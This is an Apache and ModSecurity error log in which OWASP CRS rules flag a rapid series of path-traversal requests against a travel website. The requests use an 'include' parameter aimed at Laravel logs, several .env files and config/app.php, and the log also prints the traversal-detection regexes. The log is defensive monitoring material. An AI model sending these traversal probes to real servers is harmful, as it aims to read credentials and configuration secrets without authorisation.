[Fri Jul 17 08:55:04.500221 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
[Fri Jul 17 08:55:04.500354 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.500670 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIZvbo7N5o5zeYC-HgAAABw"]
[Fri Jul 17 08:55:04.502419 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2Fstorage%2Flogs%2Flaravel.log&ref=O2FX-JbXmYE9eBAOM1tJNvKDGlgrAzI1r7oiZqV8sL-Fwvr0P2ahlRnlLfK19gwzxfNda5xJKgjJ_Xa8X5UzhScKMimFEQomsTZ9JEbQpBJprnQJ_Jp6Kseaiko_kaFWlF0lcbm00oIixHRLWuPso_8Xte2cGtyMF1yiGucG4-KSDSoTZcm0HfDru6BYyvM5E6t2MCWKuhH0MQz17Aen5qjEjrIXGrZCLphvIJt0LaHdCGUBwCoIjQ5WDqZRJBsW44MgU5QBHLOs9V0fYrvCADgB&cb=2WFVOXAJYPX2WVFGM24CMSU25467BRDU2527L6TD4YSRR3WAJFWTEVEK5JT7J2VFNHEGZQA76K4M3YT25ADXB4SR5K2SGJMMP4VLN3Q5PP3APM7ZLUZWDQO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.502477 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.502535 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../storage/logs/laravel.log&ref=O2FX-JbXmYE9eBAOM1tJNvKDGlgrAzI1r7oiZqV8sL-Fwvr0P2ahlRnlLfK19gwzxfNda5xJKgjJ_Xa8X5UzhScKMimFEQomsTZ9JEbQpBJprnQJ_Jp6Kseaiko_kaFWlF0lcbm00oIixHRLWuPso_8Xte2cGtyMF1yiGucG4-KSDSoTZcm0HfDru6BYyvM5E6t2MCWKuhH0MQz17Aen5qjEjrIXGrZCLphvIJt0LaHdCGUBwCoIjQ5WDqZRJBsW44MgU5QBHLOs9V0fYrvCADgB&cb=2WFVOXAJYPX2WVFGM24CMSU25467BRDU2527L6TD4YSRR3WAJFWTEVEK5JT7J2VFNHEGZQA76K4M3YT25ADXB4SR5K2SGJMMP4VLN3Q5PP3APM7ZLUZWDQOJMEIJIE3UZZJJ4OC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.502562 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../storage/logs/laravel.log&ref=o2fx-jbxmye9ebaom1tjnvkdglgrazi1r7oizqv8sl-fwvr0p2ahlrnllfk19gwzxfnda5xjkgjj_xa8x5uzhsckmimfeqomstz9jebqpbjprnqj_jp6kseaiko_kafwlf0lcbm00oiixhrlwupso_8xte2cgtymf1yigucg4-ksdsotzcm0hfdru6byyvm5e6t2mcwkuhh0mqz17aen5qjejrixgrzclphvijt0lahdcgubwcoijq5wdqzrjbsw44mgu5qbhlos9v0fyrvcadgb&cb=2wfvoxajypx2wvfgm24cmsu25467brdu2527l6td4ysrr3wajfwtevek5jt7j2vfnhegzqa76k4m3yt25adxb4sr5k2sgjmmp4vln3q5pp3apm7zluzwdqojmeijie3uzzjj4oc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.502591 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.502634 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.503843 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.503987 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.504337 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkFCBpfuYyhJ140vSVwAAAB4"]
[Fri Jul 17 08:55:04.516124 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUPwAAABI"]
[Fri Jul 17 08:55:04.516171 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUPwAAABI"]
[Fri Jul 17 08:55:04.517322 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkF1_86A5R6msWNfUPwAAABI"]
[Fri Jul 17 08:55:04.517446 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.517738 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkF1_86A5R6msWNfUPwAAABI"]
[Fri Jul 17 08:55:04.519054 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKwAAAAY"]
[Fri Jul 17 08:55:04.519091 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKwAAAAY"]
[Fri Jul 17 08:55:04.519139 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhgAAAAQ"]
[Fri Jul 17 08:55:04.519175 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhgAAAAQ"]
[Fri Jul 17 08:55:04.520217 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKwAAAAY"]
[Fri Jul 17 08:55:04.520312 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhgAAAAQ"]
[Fri Jul 17 08:55:04.520332 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.520429 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.520656 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBKwAAAAY"]
[Fri Jul 17 08:55:04.520750 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBhgAAAAQ"]
[Fri Jul 17 08:55:04.541483 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRAAAAAE"]
[Fri Jul 17 08:55:04.541571 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRAAAAAE"]
[Fri Jul 17 08:55:04.551190 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2Fconfig%2Fapp.php&token=m_5MwmSxUqE8biD5DMMfF9OydjF3om41Iect6uIjgFojJxNyiWn8SHZmjnwhIKdzk1SVrRXL8h5cdl40r0cWWho_QCJoLsopAOmkee95CQroxuZ6jno2fRD1rNeIAWfRbyrwodJEb-GUTQq2R7ZwByK6_sxtRBoN5C5W57_MI78Gi6bf-J2MdiVuKO85UKhjvbjmQUCniG2XGtRvVAAGKjKpX4Tw8dniJOicOxbWsu91GTxqm5g9Nk1qA2-31WvckGnSh-yH4rHy-E6P9G7NUwET&anything=6MCZORCFJJWPSJTBZL5VWAAWICH4FRTLGZX5K2VX53GJH3K6VOCDLTFMHZQ4MBC6WP4MFSN45BI25V6XNN7ZKTQJVBLHHT26NLUM5DPB7TR7FMGP2B3SK2TBWIR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.551279 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.551395 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../config/app.php&token=m_5MwmSxUqE8biD5DMMfF9OydjF3om41Iect6uIjgFojJxNyiWn8SHZmjnwhIKdzk1SVrRXL8h5cdl40r0cWWho_QCJoLsopAOmkee95CQroxuZ6jno2fRD1rNeIAWfRbyrwodJEb-GUTQq2R7ZwByK6_sxtRBoN5C5W57_MI78Gi6bf-J2MdiVuKO85UKhjvbjmQUCniG2XGtRvVAAGKjKpX4Tw8dniJOicOxbWsu91GTxqm5g9Nk1qA2-31WvckGnSh-yH4rHy-E6P9G7NUwET&anything=6MCZORCFJJWPSJTBZL5VWAAWICH4FRTLGZX5K2VX53GJH3K6VOCDLTFMHZQ4MBC6WP4MFSN45BI25V6XNN7ZKTQJVBLHHT26NLUM5DPB7TR7FMGP2B3SK2TBWIRIT7Z5YDYDCTRBL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-HwAAABw"]
[Fri Jul 17 08:55:04.551488 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: 